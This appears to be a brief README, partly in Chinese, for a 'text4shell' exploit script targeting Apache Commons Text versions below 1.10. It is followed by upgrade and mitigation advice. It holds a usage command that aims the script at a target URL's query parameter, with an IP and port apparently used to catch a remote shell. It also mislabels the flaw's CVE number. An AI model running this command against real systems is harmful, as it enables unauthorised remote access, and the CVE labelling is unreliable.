riskootext4shell

text4shell script for text coomons < =1.10 CVE-2022-33980

• Apache Commons Text 库是 Java JDK 原生功能的替代库。
• Apache Commons 的版本低于 1.10.0
• 类似于 CVE-2022-33980

python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22

缓解措施

主要解决方案是紧急升级 Apache Commons Text 组件至修复此漏洞的可用版本。具体来说，应升级至 Apache Commons Text 1.10.0 或更高版本。

在此更新中，默认禁用了那些有问题的替换功能。库的 changelog 文件中包含了以下更改：

Make default string lookups configurable vía system property. Remove dns, url, and script lookups from defaults. If these lookups are required for use in StringSubstitutor.createInterpolator(), they must be enabled vía system property. See StringLookupFactory for details.

Apache 已发布公告，包含官方信息以及对修复该问题的更新的引用。